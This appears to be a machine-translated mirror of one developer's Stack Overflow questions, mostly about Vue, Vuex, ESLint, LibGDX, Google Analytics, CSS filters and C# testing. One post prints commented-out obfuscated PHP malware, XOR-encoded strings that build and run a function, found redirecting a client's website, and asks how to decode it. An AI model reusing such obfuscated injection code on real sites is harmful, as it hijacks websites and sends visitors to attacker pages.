小编Dan*_*own的帖子

VueJS从父级访问子组件的数据

我正在使用vue-cli脚手架进行webpack

我的Vue组件结构/层次结构目前如下所示:

  • 应用
    • PDF模板
      • 背景
      • 动态模板图像
      • 静态模板图像
      • 降价

在应用程序级别,我想要一个vuejs组件方法,它可以将所有子组件的数据聚合到一个可以发送到服务器的JSON对象中.

有没有办法访问子组件的数据?具体来说,多层深?

如果没有,传递可服务数据/参数的最佳做法是什么,以便当子组件修改它时,我可以访问新值?我试图避免组件之间的硬依赖关系,所以到目前为止,使用组件属性传递的唯一内容是初始化值.

更新:

坚实的答案.查看两个答案后,我发现有用的资源:

vue.js vue-component vuex

47
推荐指数
5
解决办法
5万
查看次数

代码拆分的动态导入原因:ESLint解析错误'import'

我正在使用这里找到的VueJS Webpack模板:https://github.com/vuejs-templates/webpack

示例路线:

const AuthRoute = () => import(/* webpackChunkName: "authroute" */ './AuthRoute.vue')
Run Code Online (Sandbox Code Playgroud)

示例错误:

[eslint]解析错误:意外的令牌导入

我已经按照Webpack动态导入部分提供的步骤,以及Anthony Gore关于如何在路由器级别使用VueJS完成代码分割的博客文章.更具体地说,这是我的设置:

的package.json

...
"babel-core": "^6.22.1",
"babel-eslint": "^8.0.3",
"babel-jest": "^21.2.0",
"babel-loader": "^7.1.1",
"babel-plugin-dynamic-import-webpack": "^1.0.2",
"babel-plugin-syntax-dynamic-import": "^6.18.0",
"babel-plugin-transform-es2015-modules-commonjs": "^6.26.0",
"babel-plugin-transform-runtime": "^6.22.0",
"babel-preset-env": "^1.3.2",
"babel-preset-stage-2": "^6.24.1",
"eslint": "^4.13.1"
...
Run Code Online (Sandbox Code Playgroud)

.babelrc

{
  "presets": [
    ["env", {
      "modules": false
    }],
    "stage-2"
  ],
  "plugins": [
    "dynamic-import-webpack",
    "syntax-dynamic-import",
    "transform-runtime"
  ],
  "env": {
    "test": {
      "presets": ["env", "stage-2"]    }
  }
}
Run Code Online (Sandbox Code Playgroud)

.eslintrc.js

parserOptions: {
  parser: 'babel-eslint',
  sourceType: 'module',
  allowImportExportEverywhere: …
Run Code Online (Sandbox Code Playgroud)

babel eslint vue.js vue-router vuejs2

8
推荐指数
2
解决办法
5124
查看次数

作为Vue插件的一部分,将变异添加到Vuex商店

我正在创建一个小的Vue插件,允许用户在任何组件中添加"页面通知".我成功实现了类似的东西:

this.$notifications.add("a message");

它的工作原理!但是我必须注册我的插件所需的突变和操作,作为为我的应用设置商店其余部分的文件的一部分:

export default new Vuex.Store({...})

有没有办法从我的插件中添加动作和突变到我的商店?它目前看起来像这样:

import vuex from './../store';

const MyPlugin = {

  install(Vue, options) {

    // 4. add an instance method
    Vue.prototype.$notifications =
    {
      notificationTypes: {
          0: "warning",
          1: "info"
      },
      add: function (options) {

        let id = "page-notification-" + (vuex.state.pageNotificationsCreated + 1);
        let message = options.message || options || "no message";
        let notificationType = this.notificationTypes[0];

        if(options.notificationType && Number.isInteger(options.notificationType)){
            // Map int to string type
            notificationType = this.notificationTypes[options.notificationType] || notificationType;
        }else{
            // Or use string …
Run Code Online (Sandbox Code Playgroud)

javascript vue.js vuex vuejs2

5
推荐指数
1
解决办法
4209
查看次数

将Vector2乘以标量(LibGDX)

我试图将类型"Vector2"乘以值delta的标量并输入float.有关Vector2类型的信息,请访问:

http://libgdx.badlogicgames.com/nightlies/docs/api/com/badlogic/gdx/math/class-use/Vector2.html

特别是在那个页面上,我正在引用:

Vector2 --- Vector2.scl(float scalar)将此向量乘以标量

位置是Vector2的速度是Vector2

我收到错误:"方法scl(float)未定义为Vector2类型"

public void update(float delta) {
    position.add(velocity.cpy()).scl(delta); 
}
Run Code Online (Sandbox Code Playgroud)

java android types casting libgdx

4
推荐指数
1
解决办法
5440
查看次数

仅使用 API 密钥访问 Google Analytics 数据

我正在尝试在 Javascript 中使用 Google Analytics API。我想要:

  • 查询特定网站的数据(在我的控制下)
  • 使用数据构建一个向公众开放的仪表板

我能找到的每个示例都要求您在查询数据之前使用 OAuth 进行身份验证。因为我只是想查询(而不是删除/修改),是有办法使用一个简单的API密钥来获取数据,我需要一种方式?

javascript google-analytics-api google-analytics-firebase google-analytics-sdk

3
推荐指数
1
解决办法
3312
查看次数

为什么 CSS3 滤镜效果比 HTML5 Canvas 等效效果更好?

我目前正在对 HTML5 Canvas 上的图像应用简单的滤镜效果。类似于此处定义的技术:

HTML5 Canvas 图像对比 在这个HTML5 Rocks 中!博文

但是,这种特殊方法需要在重绘之前迭代每个像素并应用修改器。对于我的特定用例,这需要 150 毫秒以上来重绘我的图像(650 像素 x 650 像素 PNG)

使用CSS3 的过滤器属性(对比度或亮度)应用相同的效果需要不到 10 毫秒。

我的问题是:CSS3 的过滤器属性如何“在幕后”工作?为什么它的性能明显更高?有没有办法在 Canvas 中实现类似的性能?

html css html5-canvas css-filters

3
推荐指数
1
解决办法
726
查看次数

避免使用内联javascript

我的代码基本上是这样的:

<a href="javascript:void(0);" onClick="viewServices(1)">Services</a>
<a href="javascript:void(0);" onClick="viewServices(43)">Services</a>
<a href="javascript:void(0);" onClick="viewServices(16)">Services</a>
...
Run Code Online (Sandbox Code Playgroud)

viewServices的位置:

function viewServices(stylistID){
    alert(stylistID);
}
Run Code Online (Sandbox Code Playgroud)

只有,有两个问题:

  1. 我使用内联Javascript,这是不鼓励的.
  2. 单击链接时,不会调用该函数.

还应该提到的是,我正在导入JQuery和Bootstraps .js文件,并且每个链接(以及相关的ID)都是动态加载的.

是否有一个已建立的方法,允许我删除我的内联JavaScript,但也使它,以便我可以调用函数将动态加载的链接的"ID"传递给函数?

**编辑

每个链接都是在mysqli_fetch_row期间生成的,它会重复,直到每行的信息都已经过.viewServices(#)中的数字实际上是

<?php echo $row[0]; ?>
Run Code Online (Sandbox Code Playgroud)

html javascript jquery html5

2
推荐指数
1
解决办法
357
查看次数

如何将 RTF 字符串转换为 Markdown 字符串(并返回)(C# .NET Core 或 JS)

题:

如何在 C# 或 JS 中将 RTF 字符串转换为 Markdown 字符串(并返回),理想情况下不包装 exe?


我有一个使用 .NETRichTextBox控件的旧产品。使用它的表单以 Microsoft 专有的RTF 格式保存其输出。这是它可以生成的输出的一个小例子

{\\rtf1\\ansi\\ansicpg1252\\uc1\\htmautsp\\deff2{\\fonttbl{\\f0\\fcharset0 Times New Roman;}{\\f2\\fcharset0 GenericSansSerif;}}{\\colortbl\\red0\\green0\\blue0;\\red255\\green255\\blue255;}\\loch\\hich\\dbch\\pard\\plain\\ltrpar\\itap0{\\lang1033\\fs18\\f2\\cf0 \\cf0\\ql{\\f2 {\\ltrch Some content here }\\li0\\ri0\\sa0\\sb0\\fi0\\ql\\par}\r\n}\r\n}
Run Code Online (Sandbox Code Playgroud)

我的 C# .NET Core Web App 需要能够使用这个存储的 RTF 在网页上显示一个“富文本编辑器”,有能力更新值,并以仍然可以被遗留使用的格式保存产品。

不幸的是,我无法找到可以使用 RTF 作为输入的现有/现代 Web 组件。大多数似乎使用降价或自定义 JSON 格式。

理想情况下,我想:

  1. 使用以下任一方法将现有的 RTF 转换为 Markdown:
    • 服务器端,使用 C#
    • 客户端,使用 JS
  2. 将 markdown 与我发现的现有富文本编辑 Web 组件之一结合使用。
  3. 保存时,在持久化之前将 Web 组件的 Markdown 转换为 RTF

到目前为止,我已经尝试过:

javascript c# markdown rtf .net-core

2
推荐指数
1
解决办法
3049
查看次数

PHP 302重定向病毒/黑客发现,需要帮助解密

一位客户最近找到了一个问题,他们的网站将根据他们的意愿重定向到不同的网站.罪魁祸首原来是以下片段:

//  $wp_ac_remote_retrieve_header = ',S7<f-NH9;%.KM7kF0^L2&1YzYJM.>RB,|Mu"C_@}H2#HEFGKSI 5<K8]M"97Z)GM&FbN%CAKL1/Z:JUOD3!9-!.<B0?9kCNWBQ~~k1U7,7i~&>8<(R<NE<^Zb0>2,EQ]R/SS%wSSD!yN,;"#/T$d/>&b|a^v' ^ "I%VPNm)2PUCB*9RC Y2)mAT-%:%#Z[<6_ToZJ,2%R*^B<1i!*> LL^>K4#GJD9L)9C4L-J.n&5PK7S\$z#-QSX_HKOm`wi.;-2.~.6;t-TI[F-N_JYL}y=&T;(MtYUo*?)3F=6WX;6(Q&<IWCWF;JJ_PA@UHwM";
//  $get_ho_tag_template = 'cr atDW"ufb4)j.'|'!"E!`%HDTl#pHoJ';
//  $start_hg_wp = $get_ho_tag_template(null,$wp_ac_remote_retrieve_header);
//  $start_hg_wp();
Run Code Online (Sandbox Code Playgroud)

显然这不是他们第一次遭到黑客攻击,因为我还发现以下片段已经注释掉了:

//  $comment_zr_date = 'J4UCmj82"&6D?XQz/_F;kB<:#L,FYR<*+vMYS"87tW8OE# B8>LDS=R+ HI<=8S#G5VG@Q;jM^]@5F<(B+5n_DW6L,CX@Nr=h2X:_MKaq-*FOOXH;>^)+FV90%a7qyg^N3*DVQCT7:MvJkKU' ^ '/B4/E*_HKHP(^,4RI6*^4%YN|/C(-7R^X^ov;MUR[0W=!LN$LNc"2P;GY*<OTV6P4V3)44ID.10oX?]L/B[A3-5D-^*=3a"u8w Y:!d19}o>,*4ghV?[N"yv|`Ng!*H7#RM!farz]J*TcBbn';
//  $get_spe_footer = "<=:Q.0(CEVO!8=J" ^ "_O_0ZUw%08,UQR\$";
//  $wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
//  $wp_olw_rss();
Run Code Online (Sandbox Code Playgroud)

没有其他任何参考这些函数/变量.或者至少在我进行全站搜索时没有出现.此外,文件的权限已更改为只读.

知道他们是如何完成这个的吗?或者上面的代码如何工作/工作?删除后,问题/黑客完全消失.然而,由于这是他们第三次遇到这个问题,我相信他们已经离开了自己的某个地方.请注意,这不是WP站点.

**编辑

文件很大包括,这里是一个链接:

http://pastebin.com/1XyJg4S3

如果你通过base64解码器运行它,你会得到:

http://pastebin.com/JMHtqskM

但是,我无法进一步解读它.似乎有更多编码或......?

php

0
推荐指数
1
解决办法
401
查看次数

如何模拟 IServiceProvider 并仍然允许泛型类型的 CreateInstance?

我正在尝试对一些代码进行单元测试,这些代码使用IServiceProvider和反射的组合来创建扩展抽象类的每个类的实例BaseCommand

IEnumerable<BaseCommand> commandsInAssembly = typeof(BaseCommand)
    .Assembly.GetTypes()
    .Where(t => t.IsSubclassOf(typeof(BaseCommand)) && !t.IsAbstract)
    .Select(t => (BaseCommand)ActivatorUtilities.CreateInstance(_serviceProvider, t))
    .ToList();
Run Code Online (Sandbox Code Playgroud)

这里棘手的部分_serviceProvider是注入并且需要被模拟(我认为),以允许这段代码成功且独立地运行。每个命令都需要访问 DI 以解决其依赖关系。大多数命令看起来类似于:

public SomeCommand(IAppState appState, ILoggerAdapter<SomeCommand> logger) : base(appState)
Run Code Online (Sandbox Code Playgroud)

我能够IServiceProvider很好地模拟来解决IAppState,但我在ILoggerAdapter<>. 这是我目前的设置:

单元测试构造函数

var serviceProvider = new Mock<IServiceProvider>();

serviceProvider
    .Setup(x => x.GetService(typeof(IAppState)))
    .Returns(new AppState());

serviceProvider
    .Setup(x => x.GetService(typeof(ILoggerAdapter<>)))
    .Returns(typeof(LoggerAdapter<>));

var serviceScope = new Mock<IServiceScope>();
serviceScope
    .Setup(x => x.ServiceProvider)
    .Returns(serviceProvider.Object);

var serviceScopeFactory = new Mock<IServiceScopeFactory>();
serviceScopeFactory
    .Setup(x => x.CreateScope())
    .Returns(serviceScope.Object);

serviceProvider
    .Setup(x => …
Run Code Online (Sandbox Code Playgroud)

c# unit-testing moq xunit asp.net-core

0
推荐指数
1
解决办法
7659
查看次数